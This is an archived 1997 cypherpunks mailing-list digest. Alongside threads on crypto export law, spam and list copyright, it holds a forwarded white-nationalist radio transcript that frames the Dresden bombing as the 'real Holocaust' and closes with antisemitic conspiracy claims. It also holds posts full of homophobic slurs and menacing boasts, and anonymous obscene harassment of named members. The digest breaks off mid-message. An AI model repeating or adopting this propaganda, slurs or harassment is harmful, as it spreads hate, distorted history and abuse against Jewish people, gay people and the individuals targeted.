From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Thu, 13 Feb 1997 23:04:05 -0800 (PST)
To: anand@querisoft.com
Subject: Re: crypto restrictions
In-Reply-To: <330466AB.3D19@querisoft.com>
Message-ID: <0n10s6200YUh03LuA0@andrew.cmu.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

anand abhyankar <anand@querisoft.com> writes:
> Jeremiah A Blatz wrote:
> 
> thanx for ur answer but then i have another question.
> 
> 1) is it illegal to develop an encryption tool (s/w) outside the US
> which uses > 40 bit size session keys and then import that s/w inside of
> the US.

It's legal in the US, but other countries have export restrictions,
too. They're usually pretty hard to find out about, especially
considering that the people who passed the laws don't have a clue what
the law means.

Your best place to check is the Crypto Law Survey at
http://cwis.kub.nl/~frw/people/koops/lawsurvy.htm
The disclamer states that the findings may not be "exaustive or
legally reliable," and given the opacity of crypto laws, you'd better
belive it. That said, it is an excellent resource.

cypherpunks newbie patrol,
Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

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KxMOtZzLwvCUSJEYY8q9PZ5lY4NIDcyQ
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Thu, 13 Feb 1997 23:46:45 -0800 (PST)
To: pete@ubisg.com (Pete Capelli)
Subject: Re: Excerpt on SPAM from Edupage, 11 February 1997
In-Reply-To: <199702131540.HAA04218@toad.com>
Message-ID: <199702140805.CAA00592@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


Pete:
> 	Yes, but why does monetary compensation make it then O.K.?  I'd rather
> pay for my Internet access, then be bombarded by spam, no matter what
> they paid me!  I think the best soln. is the one that is currently in
> place for phone calls - they can call once, but if I tell them not to
> call me again and they do, I can then begin legal action against them. 
> I pay more per month for my phone service than my Internet service (
> although in NY, *everything* is more expensive. ), and junk phone calls
> are way more intrusive then spam.

	I figure if this scheme comes to fruition, I'll just set up a seperate
account (or procmail) to filter out the spam, deposit the coin, and go on
about my business.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Fri, 14 Feb 1997 00:00:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: Private property & the cypherpunks list(s) (fwd)
Message-ID: <199702140807.CAA05644@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Thu, 13 Feb 1997 02:08:21 -0800
> From: Greg Broiles <gbroiles@netbox.com>
> Subject: Private property & the cypherpunks list(s)


> Jim Choate wrote:
> 
> > Please explain how making submissions de facto public domain censors
> > anyone?
> 
> What the fuck is "de facto public domain"? It's public domain, or it's
> not. 

The same thing as the current 'de facto copyright'. It's copyrighted or it's
not. What's your point here?

> Your scheme imposes a cost (loss of intellectual property rights)
> against authors who would like to make themselves heard.

I am taking intellectual property rights from nobody. If anything I am
giving unlimited intellectual rights to the material to humankind for
posterity. Sorta cypherpunkish, don't you think?

> It also
> prevents a certain class of messages (those messages whose status is
> "copyright claimed") from being distributed.

Completely untrue. What it does is say "anything published which does not
explicity have a copyright related statement on it is public domain". If you
want to keep rights to it, that is fine. Just tell 'em that up front. The
actual cost to those of us who feel that statements made in such a forum as
this are inherently intended for the betterment of mankind, and therefore
a priori copyright is not in the best interest of distribution of those
ideas, is no different than the cost under defacto copyright to use fair
use headers for public domain material.

I believe that such an approach would be economicaly helpful as well. It
would provide a market for collecting, organizing, and distributing the
content of such material for wider distribution. Under the current standard
a small business which wanted to connect to the network, archive the
material, catalog it, package it, and distribute it would technicaly have to
contact the 1,000+ members and get their specific fair use contracts
resolved. This way there is nothing to resolve, if there is a copyright
notice and doesn't specificaly permit such use that message would be
dropped. The rest would be available for wider distribution and storage.

> Further, your suggestion
> that posters be required to include a "fair use header" is compelled
> speech.

So is requiring me to post a "fair use header" if I want my material public
domain by default. You call it 'tomatoe', I call it 'tomahto'. It comes down
to what is best for society and what 'best' means. If best in your book
equals 'maximize profit potential' then the current standard is best. If,
however, your definition is 'spread the idea as far and wide as possible,
may it flourish and have many offspring' then we need to go back to the old
standard.

> That's three flavors of "censorship" right there. I thought that the new
> list(s) were supposed to allow anyone to say anything they wanted. 

None of these qualify as censorship, I am not applying anything to 
anyone that is not being currently applied now. I am only taking the
alternate tack, which was the legal tact until mid-80's.

> (Does "no fair use" count as a "fair use header"? It's not legally
> enforceable, but it seems like the easiest way to specify "minimum fair
> use required by law". If not, are you planning to moderate the list to
> make sure that people use only approved fair use headers? Hmm.) 

No need to moderate the list, it does it for me. I don't do anything with
the messages, simply let them come and go. Those with no header would be
fair game for anyone to use for any purpose they chose. I would hold that
your position of implied copyright is a censorship because it prohibits
persons from using the material without the authors permission (and probably
paying a fee, economic censorship).

Cypherpunkish? I think not. Mercenary, could be.

> Even if the "copyright abandonment by implication" trick works (and I
> suspect it will not,

It certainly did until the mid-80's. It certainly is no more of a trick
than the forcing of copyright on those who don't want it.

> given that an assignment or transfer of copyright
> must be in writing, 17 USC 204;

And I hold that the submission of a subscription request and the acceptance
of the subscription notice conditions received as a reply qualify as that
written transfer. If they are unacceptable unsubscribe, which is described
in detail in the same subscription notice that details the conditions of
access.

> and abandonment is essentially an
> assignment or transfer to the public domain), it will not apply to all
> text sent to the list.

A good thing.

> A person cannot abandon or assign something they
> do not have; so if someone sends a message to the list which contains
> text whose copyright is held by a third party, that copyright will still
> be valid. 

That is a good thing. A person should not harm another or their property
without their prior permission.

> So what you've got is a list where you can't be sure that its contents
> are public domain, and a draconian rule requiring authors to give up
> their rights to what they've written.

I have not required anyone to give up anything. All I have required is that
authors specificaly state that they want to retain rights to the document.
This is no more draconian than requiring a person to write a public domain
release on their text if that is their choice.

What we have now is a list where the messages come flying across my screen
and I can't use them anywhere else unless I go and get somebodies permission
first. Is that freedom of speech? Freedom of the press? Sounds more like
economic strangulation of technological and social progress and the
hindering of the spreading of knowledge.

> Do you imagine that all of the many-majordomo servers will implement
> your "public domain only" rule, or only yours? 

No, the point was that different servers could have different policies. That
hypothesis is now thoroughly proved wrong. We also now have clear evidence
that at least some of the Cypherpunk ideals are not real-world. What we have
now is the imposition of these implicit regulations across all the
remailers, in some cases against their will. This is not compromise but
rather capitulation through duress. Implicit copyright is censorship.

This realization is the reason that I dropped it for the cypherpunks list.
It was clear that pressing for server-dependant policies was not tenable.

> If the rule is intended to apply to all servers, and servers aren't
> going to be allowed into the network

I am amazed at your ability to construe things that were never stated, let
alone implied. I was under the impression that a variety of access policies
and various filtering schemes was one of the stated goals.

I also feel you give me entirely too much credit and not enough to Igor,
firebeard, and others who are involved. Whether you know it or not, they are
not straw men nor pseudonyms that I employ.

> without agreeing to implement it
> locally, um, tell me again about that "free speech" thing? Aren't you
> just taking advantage of your position as a person working on the
> many-majordomos project to impose your ideas about intellectual property
> on the rest of the list? Is such a strategy compatible with "free
> speech"? 

No more so than the imposition of copyright to hinder the free and unbridled
exchange of ideas.

> Also, how could a rule like this possibly be compatible with a Usenet
> gateway? There's no chance at all that you can expand a local rule on
> your system to all of Usenet through a gateway. 

A very good argument on why in our current system de facto copyright actualy
hinders free exchange of ideas. Thanks, I hadn't thought of that aspect.

> And Declan McCullagh wrote:
> 
> >I forward articles to cypherpunks that are copyrighted by my employers, or
> >magazines like Playboy and Wired for which I write freelance pieces. 
> >
> >I like to think these articles have some value. I will not forward any of
> >them, nor would I be able to, if they magically became "public domain."
> 
> Which are good points

Strawman arguments to cover the motives of profit driving them. I suspect
that if the magazine (who probably own the actual copyright) agreed to allow
them to be presented in total before posting would require that some sort of
explicit copyright notice be retained. I am shure the articles have some
value, a check was written for them at some point I believe.

> - also, don't forget that, from time to time,
> people have even posted code to the cpunks list, and many software
> authors like to retain copyright in their code so that they can insist
> on things like noncommercial distribtion or credit where the code is
> reused. If a work is truly "public domain", the author has no power to
> insist on those things. 

Certainly they do, put the statement in the code header - just like any
programmer with a clue is going to do now. All I am asking is that you give
me a fair shot at figuring out what you individualy want done with your
material when I see it. Should I save it for later use or simply shit-can it
because I don't want to deal with the hassle of getting permission.
Currently I shit-can just about everything for this reason unless it has
some sort of technical chart or table I can re-arrange or is related to
Advanced Squad Leader or Traveller. Does that sound like the ideal atmosphere
to expand knowledge? Is that how you want your ideas and commentary to end up?

Hell, under the current system I take a completely unwarranted risk if I do
nothing more than print out your email and then show it to somebody else.
Why? Because I don't know before hand whether that is ok with you or do you
really want to retain distribution rights. To be completely safe I need to
email you and ask permission to do that. Unacceptable restraint of speech.
The only option that leaves me is no speech because I can't afford it. Not
very cypherpunkish.

> This proposed rule seems to limit postings to those which are perceived
> by their authors to be without commercial or reputational value. Is that
> a good idea?

Not if that was what was proposed here, fortunately reality bears no
resemblance to your interpretation.

What I really find interesting is that in the 3 years SSZ has been up and
the 8 mailing lists (with about 300 subscribers total) nobody has ever
complained about the public domain policy and nobody has ever put a
copyright header on their messages. All these lists are technical and
several of them are directly involved with technical development of
projects, some for commercial apps.


                                                Jim Choate
                                                CyberTects
                                                ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John C. Randolph" <jcr@idiom.com>
Date: Fri, 14 Feb 1997 03:31:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: More on digital postage
Message-ID: <199702141131.DAA17173@idiom.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim may says:

>By the way, I think the "junk fax" and "junk phone call" laws are clearcut
>violations of the First Amendment. I understand why the herd _wants_ these
>laws, as it reduces the costs involved in replacing fax paper, running to
>the telephone only to find someone trying to sell something, etc., but it
>is quite clearly a prior restraint on speech, however well-intentioned.

I have to disagree here.  The junk fax law is a restraint on unauthorised
use of property, i.e. *my* fax machine, *my* phone, etc. 

That tort of unauthorised use of property applies, whether someone's sending
me a fax to sell me spamming software, or whether it's some kid ringing
my doorbell and running away.  It's not the speech that I'm fighting, it's 
the misuse of my property.

Freedom of speech does not confer a right to use other people's property.

-jcr







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: advinfo@dreamon.com (Adv Info)
Date: Fri, 14 Feb 1997 01:48:42 -0800 (PST)
To: advinfo@dreamon.com
Subject: American Dissident Voices Weekly Transcripts
Message-ID: <33043521.3866@dreamon.com>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------
American Dissident Voices is a world wide radio program which 
deals with topics of interest that concern people of European
descent. We hope that these weekly articles will offer the reader 
an opposing viewpoint to the major news media. 

For more information, please e-mail advinfo@dreamon.com. Please visit
our World Wide Web Site at http://www.natall.com. For patriotic books
and tapes, visit National Vanguard Books Online Catalog at 
http://www.natvan.com/cgi-bin/nvbctlg.txt?url=www.natall.com
--------------------------------------------

American Dissident Voices Online Radio
http://www.natall.com/radio/radio.html

Dresden: A Real Holocaust

by Kevin Alfred Strom 

The night of February 13th, and February 14th, Valentine's Day, mark an
ominous anniversary in the history of Western Civilization. For
beginning on the night of February 13th, 1945, occurred the destruction
of Dresden. 

On the eve of Valentine's Day, 1945, World War II in Europe was nearly
over. For all practical purposes Germany was already defeated. Italy,
and Germany's other European allies, had fallen by the wayside. The Red
Army was rushing to occupy vast areas of what had been Germany in the
East, while the allies of the Soviets, the British and Americans, were
bombing what was left of Germany's defenses and food and transportation
infrastructure into nonexistence. 

And what was Dresden? Most of you have probably heard of Dresden China,
and that delicately executed and meticulously detailed porcelain is
really a perfect symbol for that city. For centuries Dresden had been a
center of art and culture, and refined leisure and recreation. She was a
city of art museums and theatres, circuses and sports stadia, a town of
ancient half-timbered buildings looking for all the world like those of
medieval England, with venerable churches and centuries-old cathedrals
gracing her skyline. She was a city of artists and craftsmen, of actors
and dancers, of tourists and the merchants and hotels that served them.
Above all, what Dresden was, was defined during the war by what she was
not. She had no significant military or industrial installations.
Because of this, Dresden had become, above all other things that she
was, a city of children, of women, of refugees, and of the injured and
maimed who were recovering from their wounds in her many hospitals. 

These women and children, these wounded soldiers, these infirm and
elderly people, these refugees fleeing from the brutal onslaught of the
Communist armies to the East, had come to Dresden because it was
commonly believed at the time that Dresden would not be attacked. Its
lack of strategic or military or industrial significance, and the
well-known presence of hundreds of thousands of innocent civilian
refugees and even Allied prisoners of war, seemed to guarantee safety to
the city. Surely, it was thought, not even a the most powerful and
determined enemy would be so depraved and sadistic, and so wasteful of
that enemy's own resources, to attack such a city. But the people of
Dresden, who were happily attending the cinema or eating dinner at home
or watching the show-horses in the circus on that fateful night were
wrong, wrong, wrong. And their leaders were also wrong, for the city was
virtually open and undefended and only minimal civil defense
preparations had been made. 

Dresden's population had almost doubled in the months before the attack,
mainly as a result of the influx of refugees from the Eastern Front,
most of them women and young children. According to British historian
David Irving, the briefings given to the British bomber squadrons before
the attack on Dresden were curiously different. In one, the soldiers
were told that their target was the railway center of Dresden. In
another, they were told that the target was a poison-gas factory. In yet
another, they were told that the target was a marshalling-grounds for
troops in the city. Another was told that the target was a major
arsenal. These were all lies. 

The only marshalling-grounds for what few troops were in the area were
located well outside the city. The arsenal had burned down in 1916.
There were factories for toothpaste and baby-powder in Dresden, but none
for poison gas. There were, in fact, no fewer than eighteen railway
stations in Dresden, but only one was hit by the bombing, and that was
barely touched and in fact was operating again just three days later. 

According to copious documentation unearthed by David Irving from the
archives of the American and British governments, the point of the
attack was in fact to inflict the maximum loss of life on the civilian
population and particularly to kill as many refugees as possible who
were fleeing from the Red Army. In achieving these goals it was highly
successful. It was thus planned and executed by those at the very
highest levels of the British and American governments, who to attain
their purposes even lied to their own soldiers and citizens, who to this
day have never been told the full story by their leaders. 

How was this devastating effect accomplished? 

At 10:10 PM on February 13th, the first wave of the attack, consisting
of the British Number 5 Bomber Group, began. The attacking force
consisted of about 2,000 bombers with additional support craft, which
dropped over 3,000 high explosive and 650,000 incendiary bombs (more
commonly known as firebombs) on the center of the city. Incendiary bombs
are not known for their efficiency per pound in destroying heavy
equipment such as military hardware or railroad tracks, but are
extremely effective in producing maximum loss of human life. The loads
carried by the bombers were over 75 per cent incendiaries. In fact, the
goal of the first wave of the attack was, according to British air
commander Sir Arthur Bomber Harris, to set the city well on fire. That
he did. 

The lack of any effective anti-aircraft defenses allowed the bombers to
drop to very low altitudes and thus a relatively high degree of
precision and visual identification of targets was achieved. Despite the
fact that they could clearly see that the marked target area contained
hospitals and sports stadia and residential areas of center city
Dresden, the bombers nevertheless obeyed orders and rained down a fiery
death upon the unlucky inhabitants of that city on a scale which had
never before been seen on planet Earth. Hundreds of thousands of
innocents were literally consumed by fire, an actual holocaust by the
true definition of the word: complete consumption by fire. 

The incendiaries started thousands of fires and, aided by a stiff wind
and the early-on destruction of the telephone exchanges that might have
summoned firefighters from nearby towns, these fires soon coalesced into
one unimaginably huge firestorm. Now such firestorms are not natural
phenomena, and are seldom created by man, so few people have any idea of
their nature. Basically, what happened was this: The intense heat caused
by the huge column of smoke and flame, miles high and thousands of acres
in area, created a terrific updraft of air in the center of the column.
This created a very low pressure at the base of the column, and
surrounding fresh air rushed inward at speeds estimated to be thirty
times that of an ordinary tornado. An ordinary tornado wind-force is a
result of temperature differences of perhaps 20 to 30 degrees
centigrade. In this firestorm the temperature differences were on the
order of 600 to 1,000 degrees centigrade. This inward-rushing air
further fed the flames, creating a literal tornado of fire, with winds
in the surrounding area of many hundreds of miles per hour--sweeping
men, women, children, animals, vehicles and uprooted trees pell-mell
into the glowing inferno. 

But this was only the first stage of the plan. 

Exactly on schedule, three hours after the first attack, a second
massive armada of British bombers arrived, again loaded with high
explosive and massive quantities of incendiary bombs. The residents of
Dresden, their power systems destroyed by the first raid, had no warning
of the second. Again the British bombers attacked the center city of
Dresden, this time dividing their targets--one half of the bombs were to
be dropped into the center of the conflagration, to keep it going, the
other half around the edges of the firestorm. No pretense whatever was
made of selecting military targets. The timing of the second armada was
such as to ensure that a large quantity of the surviving civilians would
have emerged from their shelters by that time, which was the case, and
also in hopes that rescue and firefighting crews would have arrived from
surrounding cities, which also proved to be true. The firefighters and
medics thus incinerated hadn't needed the telephone exchange to know
that they were needed--the firestorm was visible from a distance of 200
miles. 

It is reported that body parts, pieces of clothing, tree branches, huge
quantities of ashes, and miscellaneous debris from the firestorm fell
for days on the surrounding countryside as far away as eighteen miles.
After the attack finally subsided, rescue workers found nothing but
liquefied remains of the inhabitants of some shelters, where even the
metal kitchen utensils had melted from the intense heat. 

The next day, Ash Wednesday and Valentine's Day, 1945, medical and other
emergency personnel from all over central Germany had converged on
Dresden. Little did they suspect that yet a third wave of bombers was on
its way, this time American. This attack had been carefully coordinated
with the previous raids. Four hundred fifty Flying Fortresses and a
support contingent of fighters arrived to finish the job at noon. I
quote from David Irving's The Destruction of Dresden: 

"Just a few hours before Dresden had been a fairy-tale city of spires
and cobbled streets .... now total war had put an end to all that.
...The ferocity of the US raid of 14th February had finally brought the
people to their knees... but it was not the bombs which finally
demoralised the people ... it was the Mustang fighters, which suddenly
appeared low over the city, firing on everything that moved .... one
section of the Mustangs concentrated on the river banks, where masses of
bombed-out people had gathered. ... British prisoners who had been
released from their burning camps were among the first to suffer the
discomfort of machine-gunning attacks .... wherever columns of tramping
people were marching in or out of the city they were pounced on by the
fighters, and machine-gunned or raked with cannon fire." 

Ladies and gentlemen, on this program I can only give you a bare glimpse
of the inhuman horror of the holocaust of Dresden. In Dresden, no fewer
than 135,000 innocent victims died, with some estimates as high as
300,000. More died in Dresden than died in the well-known attacks on
Hiroshima and Nagasaki. More destruction befell Dresden in one day than
was inflicted on the whole of Britain during the entire war. And yet you
haven't been told. 

I urge every one of you to read The Destruction of Dresden by David
Irving. I assure you, after reading Irving's book, you will never take
seriously the Establishment's version of what happened in that war
again. 

What you ought to take seriously, though, is the fact that the same
clique that controlled the traitorous Roosevelt and Churchill
governments, whose hatred of our race and civilization and whose
alliance with Communism were the real causes of the holocaust of
Dresden, still controls our government and our media today. It is they
who are pushing for a disarmed, racially mixed America. It is they who
promote the teaching of sodomy to our young children. It is they who are
destroying our industrial infrastructure in the name of a global
economy. It is they who created the drug subculture and then also the
police state agencies which pretend to fight it. The hour is very late
for America and indeed for all of Western civilization. But if patriots
will heed our call, then there is no reason for despair. For the enemies
of our nation may have power, but their power is based on lies. Won't
you help us cut through the chain of lies that holds our people in
mental slavery? 

~

National Alliance Main Page
http://www.natvan.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Fri, 14 Feb 1997 02:11:13 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Dale disses gays.
In-Reply-To: <199702140501.XAA28650@manifold.algebra.com>
Message-ID: <Pine.LNX.3.95.970214050510.31811A-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 13 Feb 1997, Igor Chudov @ home wrote:

> Date: Thu, 13 Feb 1997 23:01:39 -0600 (CST)
> From: "Igor Chudov @ home" <ichudov@algebra.com>
> Reply-To: freedom-knights@jetcafe.org
> To: Cypherpunks <cypherpunks@toad.com>
> Cc: nobody@huge.cajones.com, cypherpunks@toad.com,
>     freedom-knights@jetcafe.org
> Subject: Re: Dale disses gays.
> 
> Dale Thorn wrote:
> > Huge Cajones Remailer wrote:

Now just who is thisa guy? -- who keeps posting under
"nobody" at the cajones remailer?  Anybody have him/her
tagged yet for the real person?

> > > :and I've had plenty of White friends, and an equal percentage of :Black friends given the number of Black people I've known, but I've :never had a friend who was gay or lesbian, as far as I know, and I :think I could tell.
> > 
> > > How, Dale, by the smell?
> > 
> > I worked for a gay man in Beverly Hills and Encino for 3 years.  I
> > learned a lot about "signals" during that time.  Bigot?  I don't
> > think so.  One of my favorite customers, a nice lady who is Jewish
> > (and who grew up where I did) told me she could spot 'em every time.
> 
> This is a typical case of overconfidence on her part.
> 
> If she thought about it for longer, she would realize that she cannot
> benchmark her gay-spotting performance very well.
> 

I don't know.  It has always been easy for me to spot a faggot.  I
mean, I can even tell by their voice if they are queer.

> If you presented her with, say, 100 unknown men and 50 of them were gays
> and she'd identify everyone correctly, I would be impressed.
> 

Tell each one of them to converse for 5 minutes, and I can tell you
9 out of 10 faggots for sure. I used to be a dancer, and the faggots 
were knee deep at Point Park College dance classes.

> A truly great and simple book that talks about this stuff is ``Decision
> Traps: the ten barriers to brilliant decision making''.
> 
> > BTW, my browser has a problem with your lines that have no c/r after
> > every 70 or so characters. Other people will undoubtedly confirm that.
> 
> Yes, we will.
> 
> 	- Igor.
> 

True, it is a bitch if you are using a brtowser for e-mail.
Try Pine instead. {;-)-~


How many days left for that toad.com list?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: anand abhyankar <anand@querisoft.com>
Date: Thu, 13 Feb 1997 16:27:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: crypto restrictions
Message-ID: <330466AB.3D19@querisoft.com>
MIME-Version: 1.0
Content-Type: text/plain


hi guys,
i am a bit confused. what exactly are the us govt crypto regulations.
what i mean is that :

1) is it illegal to develop an encryption tool (s/w) in the US which
uses > 40 bit size session keys and then export that s/w outside of the
US.

2) is it illegal to encrypt some data inside the us with a key > 40 bit
in size and then send that data outside the US.

thanx.
anand....




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Fri, 14 Feb 1997 03:02:16 -0800 (PST)
To: Against Moderation <antimod@nym.alias.net>
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <19970213171732.9310.qmail@anon.lcs.mit.edu>
Message-ID: <Pine.LNX.3.95.970214053042.31811B-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On 13 Feb 1997, Against Moderation wrote:

> Date: 13 Feb 1997 17:17:32 -0000
> From: Against Moderation <antimod@nym.alias.net>
> To: aga@dhp.com
> Cc: cypherpunks@toad.com, cypherpunks@pgh.org, ichudov@algebra.com,
>     dlv@bwalk.dm.com, freedom-knights@jetcafe.org
> Subject: Re: Moderation experiment almost over; "put up or shut up"
> 
> > Date: Thu, 13 Feb 1997 11:24:57 -0500 (EST)
> > From: aga <aga@dhp.com>
> > 
> > Well, the fact remains that the homos are instrumental in creating and
> > forming a cliquish and censored usenet.  There is just no question
> > about that.  Remember the previous cypherpunk who stated that the
> > gays "created and run usenet."
> 
> No.  Who said that, and why do you think the person was serious, let
> alone telling the truth?
> 
It was on the list last month, and the person was serious and correct.
That is exactly why we must now kill all of usenet as it stands, for
a new heterosexual beginning.

> > Your assumption that I am a "bigot" makes it you appear uninformed.
> > Sexism is good, but racism is bad.   A sexist is not a bigot.
> > 
> > The only one who qualifies as a "bigot" is a racist.
> 
> According to the American Heritage dictionary:
>   bigot n. One who is strongly partial to one's own group, religion,
>      race, or politics and is intolerant of those who differ.
> 

Nothing in there about faggots or cunts, is there?

> According to Webster:
>   bigot n. One obstinately or intolerantly devoted to his own opinions
>      and prejudices
> 

Nothing in there about faggots or cunts, is there?


Again, MY definition of a "bigot" is the correct one which is
most understood by modern people.

A "bigot" is a racist, period.

> I see nothing that limits bigotry to racial intolerance.
> 

You are a fool then.  Religion and sexism and groups all have nothing
to do with bigotry.  A bigot is a racist, period.  That is TODAY'S
correct definition of the term, and I am a lot more current than
Webster.  Any anybody who has a "religion" and "prays" is a fool.
The only god you will ever find is within yourself.

> > It is very logical and wise to discriminate on the basis of sex.
> 
> Most would disagree, and decide based on that and other statements you
> have made that you must be an extremely unpleasant person.
> 

See, there you go again, attacking the person, instead of the
argument.  You lose points for that.  Sexism is GOOD and right and
justified.  I want a woman cutting my hair, and a man fixing my car,
and I demand the correct sex for ALL activities.

> If you want to fight censorship effectively, going around telling
> people "You're a shit-eating faggot you fucking cock-sucking homo
> censor" in public forums is not going to win you many points.

Look sonny, I am not out to win any points.  I have two Doctorates and
22 years of experience.   I speak with authority and only to those who
have the intelligence to understand.   I was a perfect 4.00 in
College, and am probably the most intelligent body-politic analyst in
the world.  Now let's face it:  Faggots are BAD news.  They are most
always censors!  And that is the truth you can never get around.
  
> Instead, it will quickly land you in many people's killfiles, and will
> eventually lead some people with bad client software to wonder if it
> wouldn't be worth giving up some freedom of speech for the benefit of
> not having to see your rants any more.
> 

Hey boy, I am too strong to stop.  I have more people and, more money
and more connections than you could ever dream of.  We are here to
"rip new assholes" in the faggots who have ruined the net thus far,
and to take over and make this net heterosexual oriented.  Just wait
until you see me in person some day; you are in for a big suprise.

> I'm not saying you don't have a right to express your opinions.  I'm
> just remarking that you appear to be more in the business of inducing
> censorship than fighting it.  

No, all censorship shall be eliminated from this Net and I will
fight to the death to achieve that.  The only way to stop us is to
kill all of us, and you can not do that.  I have 6 or 8 associates
that you are unaware of, and we plan to KILL the current system real
soon.

> If that's the case, so be it; someone
> has to get censored in order for people to fight censorship, and
> exposing people's willingness to censor is not necessarily a bad thing
> in itself.
> 

So you plan on censoring me?  Not likely sonny boy.  I have more
connections than you have fingers on your one hand.

> Unfortunately, it sort of makes life harder for those who actually
> fight the censorship when you pretend to be one of them.  Your
> argument seems to run something like, "To protect freedom of speech,
> bad all faggots from the net, and especially don't let them run any
> mailing lists."  

That is a good idea.  Faggots are most always censors, and can not be
trusted with heterosexual people.

> If this offensive and highly noticeable argument
> eclipses many of the important, fundamental ones as the censors would
> like it too (why do you think your articles make it to cypherpunks-
> flames while mine only get as far as -unedited), 

Because of the faggot.  They always try to censor the TRUTH!

> you will end up not
> only inducing censorship but also seriously hampering the efforts of
> those who are legitimately fighting that censorship.
> 

Look sonny, we are out to KILL John Gilmore's control of this net, and
your listing of the -three- different lists manufactured by that
fucking queer should put the icing on the cake.

> > I am not a racist, so therefore I can not be a "bigot," regardless of
> > my views on homosexuality.
> 
> See above.
> 

Again:

Most faggots are censorous, and therefore NO faggots should ever have
any control over any "censoring" acvtivities of this net.  Period.

We have come to the time when one's sex and sexual orientation
should be clearly stated on all e-mail and Usenet commo.  Everyone
should start providing the data, for the good of the community.

No one should be forced to communicate with a faggot.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Fri, 14 Feb 1997 07:30:10 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Dale disses gays.
In-Reply-To: <199702140501.XAA28650@manifold.algebra.com>
Message-ID: <330484AC.5E5@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> Dale Thorn wrote:
> > I worked for a gay man in Beverly Hills and Encino for 3 years.  I
> > learned a lot about "signals" during that time.  Bigot?  I don't
> > think so.  One of my favorite customers, a nice lady who is Jewish
> > (and who grew up where I did) told me she could spot 'em every time.

> This is a typical case of overconfidence on her part.
> If she thought about it for longer, she would realize that she cannot
> benchmark her gay-spotting performance very well.
> If you presented her with, say, 100 unknown men and 50 of them were gays
> and she'd identify everyone correctly, I would be impressed.

If you really intended to do this as an experiment, this method would
not work.  The way it works (and what she meant I believe):

1. Start with 100. Observe them very briefly and pick the most obvious
   candidates from immediately-discernable features. How accurate this
   would be is not so much hit or miss by misidentification as it is
   making too broad an evaluation on the first round.
2. Now that you've eliminated the most obvious of the gays and the
   most obvious non-gays, take only what's left and observe for
   somewhat longer, and you should be able (if you're as good as her)
   to pick off quite a few more.  In the end, of course, there has
   to be doubt about quite a few, which is the whole point of having
   a non-discriminatory policy, so that nobody feels compelled to
   make judgements where they are not warranted.

If you think I'm carrying this too far, check out the comedy movie
with Tom Hanks and Sally Field, where Hanks identifies a Jewish
doctor by superficial appearance alone.  It's my only point.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@wazoo.com (Anonymous)
Date: Fri, 14 Feb 1997 06:35:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Rubber hoses
Message-ID: <199702141435.HAA21564@earth.wazoo.com>
MIME-Version: 1.0
Content-Type: text/plain


Dildo Vegetable K[ondom] Of The Minute grew a beard to look like his
mother.

(~\/~) /~'\ /`~\   _    _
`\  /'(    `    ) ( `\/' )
  `'   `\     /'  `\    /' Dildo Vegetable K[ondom] Of The Minute
         `\ /'      `\/'
           '






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@wazoo.com (Anonymous)
Date: Fri, 14 Feb 1997 06:48:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: Sphere packing
Message-ID: <199702141448.HAA21975@earth.wazoo.com>
MIME-Version: 1.0
Content-Type: text/plain


Deceased Vulture K[ock] Of The Minute uses an Adolf Hitler action
figure as a dildo.

                /"\
               |\./|
               |   |
               |   |
               |>*<|
               |   |
            /'\|   |/'\
        /'\|   |   |   |
       |   %%%%%   |   |\
       |   |   |   |   |  \    
       | *   *   *   * |>   >   Deceased Vulture K[ock] Of The Minute
       |                  /      
        |               /
         |            /
          \          |
           |--/'''\--|
           | |--+= | |
           |--\.../--|






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@wazoo.com (Anonymous)
Date: Fri, 14 Feb 1997 06:56:55 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Copyright violations
Message-ID: <199702141456.HAA22269@earth.wazoo.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vinyl K[unt]OfTheMinute has been fired for stealing blow
jobs.

   _<_
  (_|_(  Dr.Dimitri Vinyl K[unt]OfTheMinute
\-._|_,-,
 `-----'






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 14 Feb 1997 07:32:10 -0800 (PST)
To: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Subject: Fuck UseNet
In-Reply-To: <m0vuw3H-000JGWC@cognac.apana.org.au>
Message-ID: <33048C10.1206@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Jeremiah A Blatz wrote:
